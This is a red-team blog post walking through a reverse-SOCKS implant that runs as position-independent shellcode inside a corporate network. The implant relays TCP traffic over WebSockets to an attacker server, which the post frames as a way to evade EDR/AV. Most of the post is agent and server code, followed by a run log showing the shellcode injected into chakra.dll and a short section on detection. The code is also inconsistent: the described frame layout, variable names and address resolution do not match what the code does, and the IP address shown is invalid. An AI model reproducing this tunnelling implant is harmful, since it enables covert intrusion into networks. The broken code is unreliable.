Using SOCKS to TCP Relay via WebSocket

Building a minimalist position independent relay for SOCKS proxying, covering agent architecture, multiplexing, and framing over WebSockets.


One project I’ve had my eye on for quite some time now is making a minimalist position independent relay for SOCKS Proxying. This is due to myself largely requiring network tooling for internal networks instead of on-disk/in-memory tooling. The latter tooling often comes with increased workload to circumvent detections against EDR/AV software.

Many companies these days have some protection within their environment related to EDR/AV capability, however aren’t quite at the level of XDR/In-depth network-layer detections. CrowdStrike and MDE provide some level of behavioral pattern analysis, but from my experience (I have been out of the game for over a year now, so treat this lightly) it can be rather lacking depending on configuration.

Reverse SOCKS proxying has been a common method to proxy malicious traffic for some time now, with adversaries often using tooling such as SSH or their preferred C2 framework to interact with the adversarial-controller SOCKS server. After this connection has succeeded, traffic is tunneled inside and outside the corporate environment using tools like Proxifier and Proxychains.

Searching online, I couldn’t find much about creating such a utility, only blog posts detailing the SOCKS4a/5 protocol itself. Along with the help of LLMs, I eventually created an architecture I am happy with. This post aims to explain the architecture and design decisions.

Firstly, my code was written using C5pider’s Stardust template. I’ve written about creating Position Independent code previously, and have even made a template myself. This being said, C5pider’s implementation is a life saver. It dramatically cuts down on the pain-points of creating position independent code (hashing, not being able to use strings). If you are unfamiliar with the codebase, you can find information on it here:

Agent Architecture

Agent here is used as a descriptor of the program ran within the corporate environment. This acts as a relay to the Server, which has the role as the SOCKS server. Fundamentally, the Server parses SOCKS connections from Proxifier/Proxychains, forwarding the raw data to the Agent. The Agent merely relays data to the host:port requested, sending any received data back to the Server.

A simple diagram for the process can be seen below:

   corp env            internet                       adv env
   ____________________       __________________________________
   | Network ↔ Agent  |   ↔   | Server ↔ Proxifier/Proxychains |
   |__________________|       |________________________________|

How this relay connection happens between the Agent ↔ Server is largely up to it’s creator. C2 Frameworks, where stealth is a consideration, use higher-level protocols which have the ability to blend in. Common protocols seen are HTTPS and WebSockets.

Further consideration around this relay is also the concept of multiplexing. As transferred data is likely to not be a simple IO scheme, multiplexing needs to be implemented in order to allow numerous sockets to transfer data. This requires implementing a framing scheme which can track channels, length, payload, etc. A large amount of the complexity required around building an Agent comes from multiplexing.

With the rambling out of the way, lets get to the coding. To keep the PIC goal in mind, I will be limiting myself to only use required libraries. I’ve also simplified the code here for readabilities sake. Here’s how I am creating the initial connection via WebSockets:

declfn HINTERNET instance::wsConnect(const wchar_t *host,  const wchar_t *path) {
    HINTERNET hSession = winhttp.WinHttpOpen(L"ws-mux-agent/1.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConnect = winhttp.WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hRequest = winhttp.WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    BOOL bResults = winhttp.WinHttpSetOption(hRequest, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0);
    bResults = winhttp.WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    bResults = winhttp.WinHttpReceiveResponse(hRequest, NULL);
    HINTERNET hWebSocket = winhttp.WinHttpWebSocketCompleteUpgrade(hRequest, (DWORD_PTR)NULL);
    return hWebSocket;
}

It’s something we’ve all seen before when building malware with HTTP calls. It first creates the necessary handles, reaches out to the Server, then finally upgrades to a WebSocket connection. After satisfying the requirements for a WebSocket connection, the Server and Agent can effectively communicate with each other. The issue to solve now is the implementation of multiplexing.

To solve this issue I created a framing architecture which is sent with every WebSocket message:

   ___________________________________________________________________
   | channel id [1 byte] | command [1 byte] | length [4 bytes] | data |
   |__________________________________________________________________|

Note that I haven’t implemented a key section. I’ve done this mostly out of laziness, with this being more a proof of concept. However, if you did want to add authorization between the Server and Agent, you would attach a specified key section here which would be checked with every packet.

The channel ID will ultimately determine the channel for the data to be transferred on. This allows us to avoid blocking on the main thread and have asynchronous relaying through to the SOCKS proxy. The command will tell the program which logic tree to go down. I’ve implemented three primary trees:

  • CMD_OPEN (creates TCP socket)
  • CMD_DATA (used for data flow)
  • CMD_CLOSE (closes TCP socket)

Here’s how I have implemented this structure with my code:

#define CMD_OPEN      1
#define CMD_DATA      2
#define CMD_CLOSE     3

//HTONS taken from https://github.com/Karkas66/CelestialSpark/blob/main/src/main.cc
#define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) )

declfn void instance::wsLoop() {
    while (1) {
        DWORD bufSize = RECV_BUF_SZ;
        unsigned char *buf = (unsigned char*)kernel32.VirtualAlloc(NULL, bufsize, MEM_COMMIT, PAGE_READWRITE);

        DWORD received = 0;
        WINHTTP_WEB_SOCKET_BUFFER_TYPE bufferType;

        HRESULT hr = winhttp.WinHttpWebSocketReceive(this->hSocket, buf, bufSize, &received, &bufferType);

        unsigned int off = 0;

        while (off + 5 <= received) {
            unsigned char cmd = buf[off];
            uint16_t channelNet, fLengthNet;

            memory::copy(&channel_net, buf + off + 1, 2);
            memory::copy(&fLength_net, buf + off + 3, 2);

            unsigned short channel = HTONS(channelNet);
            unsigned short fLength = HTONS(fLengthNet);

            if (off + 5 + fLength > received) break;

            const unsigned char* data = buf + off + 5;

            if (cmd == CMD_OPEN) {
                this->hOpen(channel, data, fLength);
            } else if (cmd == CMD_DATA) {
                this->hData(channel, data, fLength);
            } else if (cmd == CMD_CLOSE) {
                this->hClose(channel);
            }

            off += 5 + fLength;
        }
        kernel32.VirtualFree(buf, 0, MEM_RELEASE);
    }
}

It receives incoming data from the WebSockets connection, and forms a branch structure depending on what is contained within the frame. For instance, the following frame can be translated as:

01 00 01 00 08 78 2e 63  6f 6d 00 01 bb
^      ^     ^  ^  ^  ^   ^  ^  ^  ^  ^
|      |     |  |  |  |   |  |  |  |  |
|      |     |  |__|__|___|__|__|__|__|
|      |     |___________             |
|      |_______          |            |
|              |         |            |
Channel ID     |         |            |
           Command      |            |
                     Length          |
                        SOCKS Data (x.com)

This frame will reach the CMD_OPEN function. Likewise, if the byte is instead 02, it will proceed into the CMD_DATA call. These functions essentially parse the data section contained within the frame. hOpen will extract the hostname and port, replaying it. I’ve included a simple overview below, as this is where the code becomes more complex:

declfn void instance::hOpen(unsigned short channel, const unsigned char *data, unsigned short pLength){

    uint16_t portNet;
    memory::copy(&portNet, (void*)(data + pLength - 2), 2);
    uint16_t port = HTONS(portNet);

    int hostLength = pLength - 2;
    if (hostLength > 0 && data[hostLength - 1] == '\0') hostLength--;

    char hostBuf[256];
    memory::copy(hostBuf, (void*)data, hostLength);
    hostBuf[hostLength] = 0;

    struct addrinfo req;
    struct addrinfo *res = NULL;
    char portString[8];

    //Gemini int to string conversion
    int p = port;
    int idx = 0;
    if (p == 0) { portString[idx++] = '0'; }
    else {
        int tmp = p;
        char rev[8]; int ridx = 0;
        while (tmp > 0 && ridx < (int)sizeof(rev)) { rev[ridx++] = (char)('0' + (tmp % 10)); tmp /= 10; }
        while (ridx > 0) portString[idx++] = rev[--ridx];
    }
    portString[idx] = 0;

    memory::zero(&hints, sizeof(req));
    req.ai_family = AF_UNSPEC;
    req.ai_socktype = SOCK_STREAM;

    //Gemini resolution loop
    SOCKET remote = INVALID_SOCKET;
    struct addrinfo *ai;
    for (ai = res; ai; ai = ai->ai_next) {
        remote = ws2_32.socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
        if (remote == INVALID_SOCKET) continue;
        if (ws2_32.connect(remote, ai->ai_addr, (int)ai->ai_addrlen) == 0) break;
        ws2_32.closesocket(remote); remote = INVALID_SOCKET;
    }
    ws2_32.freeaddrinfo(res);

    FWD_CTX *ctx = (FWD_CTX*)kernel32.VirtualAlloc(NULL, sizeof(FWD_CTX), MEM_COMMIT, PAGE_READWRITE);

    ctx->chan = channel;
    ctx->inst = this;
    ctx->remote = remote;

    HANDLE th = kernel32.CreateThread(NULL, 0, instance::forwardThread, ctx, 0, NULL);

    unsigned char st = 0;
    this->sendFrame(CMD_OPEN_RESP, channel, &st, 1);
}

Once parsed, it will fall into the forwardThread function. This essentially is a helper for the relay to forward data between sockets. Once data is retrieved, it goes into the sendFrame function:

declfn int instance::sendFrame(unsigned char cmd, unsigned short channel, const unsigned char *data, unsigned short pLength) {
    DWORD total = 1 + 2 + 2 + pLength;
    unsigned char *buf = (unsigned char*)kernel32.VirtualAlloc(NULL, total, MEM_COMMIT, PAGE_READWRITE);

    buf[0] = cmd;
    uint16_t ch_be = HTONS(channel);
    memory::copy(buf + 1, &ch_be, 2);
    uint16_t len_be = HTONS(pLength);
    memory::copy(buf + 3, &len_be, 2);
    if (pLength && data) memory::copy(buf + 5, (void*)data, pLength);
    int r = this->wsSend(buf, total);
    kernel32.VirtualFree(buf, 0, MEM_RELEASE);
    return r;
}

This is another helper function which builds up the frame to be sent to the WebSocket port. The wsSend function is a simple WinHttpWebSocketSend call carrying the frame and data built from here. This is essentially the work flow of the Agent. It loops for a frame to receive, parses it, forwards data, then builds the new frame and sends any retrieved data to the Server.

Server Architecture

I won’t include too much of the Server code. This could be built in whatever code you desire, but fundamentally it must parse both the SOCKS and WebSocket Messages. I have mine set to listen on two ports:

  • 443 (WebSocket)
  • 1080 (SOCKS)

The SOCKS listener is designed to wait for any valid messages, i.e:

05 01 00

and forward it through the WebSocket channel, depending on the SOCKS message type. I won’t go into the specifics of the SOCKS protocol, but a blog that summarizes it nicely (and is also red-related) can be found here. This is also where the Server decides on its channel for multiplexing:

async def handleSocksClient(reader, writer):
    ...
        if addressType == 1:
        addressRaw = await reader.readexactly(4)
        host = socket.inet_ntoa(addressRaw)
        port = struct.unpack("!H", await reader.readexactly(2))[0]
        data = host.encode() + b"\x00" + struct.pack("!H", port)
    ...
    channelId = next(channelIter)
    ...
    sendWebSocket(buildFrame(CMD_OPEN, channelId, data))

Within this function the Server extracts the intended address of the SOCKS message, sets the channel to be used, then finally sends all this information alongside the command variable to sendWebSocket, which is a simple helper with blocking to ensure data is sent non-malformed. This function also handles data being sent from the Agent to SOCKS Client through the channelId mapping.

On the WebSocket receiving side, I wrote a loop which parses through sent messages depending on the type of command:

async def agentLoop(ws):
    ...
        async for message in ws:
            buf = bytes(message)
            ...
                if cmd == CMD_OPEN_RESP:
                    status = data[0] if data else 1
                    event = channelOpenEvents.get(channelId)
                    chan_open_status[channelId] = status
                    if event:
                        event.set()
                elif cmd == CMD_DATA:
                    clientWriter = channelToClient.get(channelId)
                    if clientWriter:
                        try:
                            clientWriter.write(data)
                            await clientWriter.drain()
                elif cmd == CMD_CLOSE:
                    clientWriter = channelToClient.pop(channelId, None)
    ...

And thats the basis for the overall Server. I think I have overexplained a bit, so I will proceed to the execution and detection sections to wrap it up.

Execution

To showcase the complete flow, I set up a droplet within digital ocean running my server:

root@ubuntu:/tmp/web# python3 server.py
WebSocket Server on ws://0.0.0.0:443
SOCKS Server on 127.0.0.1:1080
Agent connected
┌──(dasein㉿windows)-[/mnt/c/Users/dasein/Desktop/Stardust]
└─$ test/stomper.x64.exe  bin/stardust.x64.bin
[*] shellcode file @ 0000023d46a2e0c0 [3648 bytes]
[*] loaded "chakra.dll" @ 7ffed07a0000
[*] target code section @ 7ffed07a1000 [5648896 bytes]
[*] entry point @ 00007ffed0a439c0
[*] wrote shellcode into target module
[*] press enter...

Upon executing the Agent binary, it successfully connected to the WebSocket server (as can be seen in the above console text).

With the SOCKS server running and the Agent connected, I setup proxychains and pointed it to 1080 (where the SOCKS port is exposed). To test that the TCP relay was working, I did a curl towards ifconfig.co, which simply prints your IP address:

root@ubuntu:~# proxychains curl ifconfig.co
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| ifconfig.co
|S-chain|-<>-127.0.0.1:1080-<><>-8.8.8.8:53-<><>-OK
|DNS-response| ifconfig.co is 172.67.168.106
|S-chain|-<>-127.0.0.1:1080-<><>-172.67.168.106:80-<><>-OK
154.343.125.5

This validated that the relay was working correctly. The host, which the Agent executed on had the external NAT IP of 154.343.125.5.

Detections

My detection stack is quite limited, but you can already intuit a number of possible detections from the Agent. Ignoring the ‘how’ of executing shellcode (and additionally the Agent’s plaintext nature), it has two primary methods of network communication: TCP forwarding packets and WebSocket. This means that it has the possibility to alert from these communication methods if it is determined abnormal by an EDR/XDR software. Context on what/where you are injecting into is crucial, for instance an application that is known to do numerous outbound HTTP requests will be considerably less suspicious than one that doesn’t do any at all. Like-wise for the forwarding packets. A binary which does both can be very suspicious.

Furthermore, the usage of CreateThread for individual sockets could be seen as suspicious by an EDR system. Using other strategies such as APCs may be possible, but outside of the scope of what I have written. Perhaps the lack of RWE pages makes CreateThread less suspicious too.

Another red flag is the potential for unbacked usage of network modules. In the past I have been triggered by elastic when running certain pauloads in memory without stack spoofing/similar implemented. But that is outside the scope of this post.

Ultimately, the most important thing I got from the experience was that building the SOCKS parser is relatively simple. Thinking about the overall architecture of the process, holistically, is another ordeal completely.

Resources